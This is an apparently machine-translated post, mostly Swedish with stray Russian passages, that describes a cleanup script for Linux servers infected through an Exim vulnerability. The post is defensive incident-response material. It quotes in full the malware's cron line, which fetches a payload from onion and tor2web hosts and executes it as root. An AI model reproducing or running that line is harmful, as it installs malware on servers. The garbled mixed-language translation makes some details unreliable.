har redan gjort ett rejält plask och har ganska slitit nerverna hos systemadministratörer runt om i världen.
I spåren av massinfektioner (många av våra kunder använder Exim som e-postserver) skapade jag snabbt ett skript för att automatisera lösningen på problemet. Skriptet är långt ifrån idealiskt och är fullt av suboptimal kod, men det är en snabb stridslösning för att undvika att utföra samma åtgärder på hundratals eller till och med tusentals servrar.
Работает на серверах с ОС Centos, RHEL, Debian, Ubuntu при наличии установленного почтового сервера Exim.
Hur förstår man att servern har blivit hackad?
Kontrollera pågående processer med det översta kommandot.
Infekterade servrar upplever 100 % belastning som genereras av [kthrotlds]-processen. En uppgift med begränsade redigeringsrättigheter läggs också till i cron-schemaläggaren.
Varningsavsnitt
Все встреченные нами инциденты заражения были абсолютно однотипными, вторая и третья волна могут от них отличаться — для них возможно придется модифицировать скрипт. На момент заражения задания в cron утрачиваются безвозвратно и возвращать их надо руками. Скрипт «рубит с плеча» — безбоязненно обновляет Exim до патченных версий, в случае с Centos 6 даже из тестового репозитория. Инстанс зловреда сидит в памяти, поэтому сервер nödvändigtvis du måste starta om omedelbart efter rengöring av kronorna.
Viktigt: Sårbarheten tillåter att kod exekveras som root, vilket inte ger någon garanti för 100 % återställning. Med root-åtkomst till servern kan du dölja nästan vad som helst på denna server, så att det blir nästan omöjligt att hitta det. Det enda sättet att garantera ett fullständigt botemedel för servern är genom en fullständig ominstallation, men detta är inte alltid möjligt. Om det inte finns något sätt att installera om servern, och symptomen sammanfaller med de som beskrivs, kan du försöka att snabbt täppa till hålen med det här skriptet.
Genom att använda skriptet gör du det på egen risk och risk: vi testade skriptet på ett antal servrar, men det finns alltid risker för inkompatibla programversioner eller motstridiga inställningar.
Dessutom låter vårt skript dig bota endast en av de möjliga implementeringarna av infektion - det är möjligt att det redan finns andra sätt att utnyttja sårbarheten som inte har kommit till vår kännedom.
Vad gör manuset?
1. Om operativsystemet är installerat på servern:
- Не Centos 6 обновляет Exim, переустанавливает curl.
- Centos 6 — обновляет Exim из тестового репозитория EPEL (релиз в штатные репозитории ожидается 11-12.06), переустанавливает curl.
2. Kontrollerar efter infektion på servern.
Skriptet analyserar schemaläggarjobb för misstänkta inneslutningar.Till exempel dessa:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
2a. Om det finns spår av ett virusskript i mappen /etc, gör följande
- stoppar cron
- dödar en process som startas av ett virusskript
- dödar curl wget sh processer fyra gånger (lanseras av viruset enligt ett schema)
- rensar postkön på alla brev (infekterade brev är svåra att skilja från ofarliga, så hela kön måste raderas)
- Tillåter borttagning av filer som innehåller fragment av ett skadligt skript:
/etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/[kthrotlds] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp - tar bort dessa filer
- tar bort autorun-jobbet i /etc/rc.local
- tar bort angriparens nyckel från de tillåtna ssh-nycklarna
- startar cron
- och startar om servern omedelbart
2b. Om det inte finns några spår av infektion avslutas skriptet.
Förtydliganden
Viruset tar bort alla jobb med cron-schemaläggare. Efter omstart av servern måste de därför konfigureras om eller återställas från en säkerhetskopia.
curl blir också infekterad med ett virus, så det installeras om.
En omstart (skriptet utför det automatiskt efter behandling) är obligatoriskt - annars lagras skadlig programvara i serverns minne och reproducerar sig själv var 30:e sekund även efter borttagning av infekterade filer.
Hur använder man det?
Traditionellt: innan du börjar, se till att du har en uppdaterad säkerhetskopia av dina serverdata.
Så här kör du skriptet:
Anslut till servern via ssh som användare med root-rättigheter. Du kan också använda Shell-klienten i panelen ISPmanager - Verktyg.
I terminalen anger du kommandot:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.shVänta tills skriptet är klart och servern startar om.
Efter omstarten, kontrollera driften av servern och webbplatser/applikationer som finns på den, konfigurera om eller återställ cron-uppgifter från säkerhetskopiering.
Och slutligen
I huvudsak är manuset tillfällig lösning För att återställa serverns funktionalitet, för garanterat förebyggande, är den bästa lösningen att byta till en ny server med en version av operativsystemet som inte längre innehåller sårbarheten.
Alla rekommendationer för att förbättra/omarbeta manuset är välkomna. Om du stöter på ett annat symptom på infektion, vänligen visa det. Samarbete i ögonblick av massinfektioner minskar avsevärt den tid som behövs för att eliminera dessa infektioner.
Lycka till!
UPD1: .
.
Källa: will.com
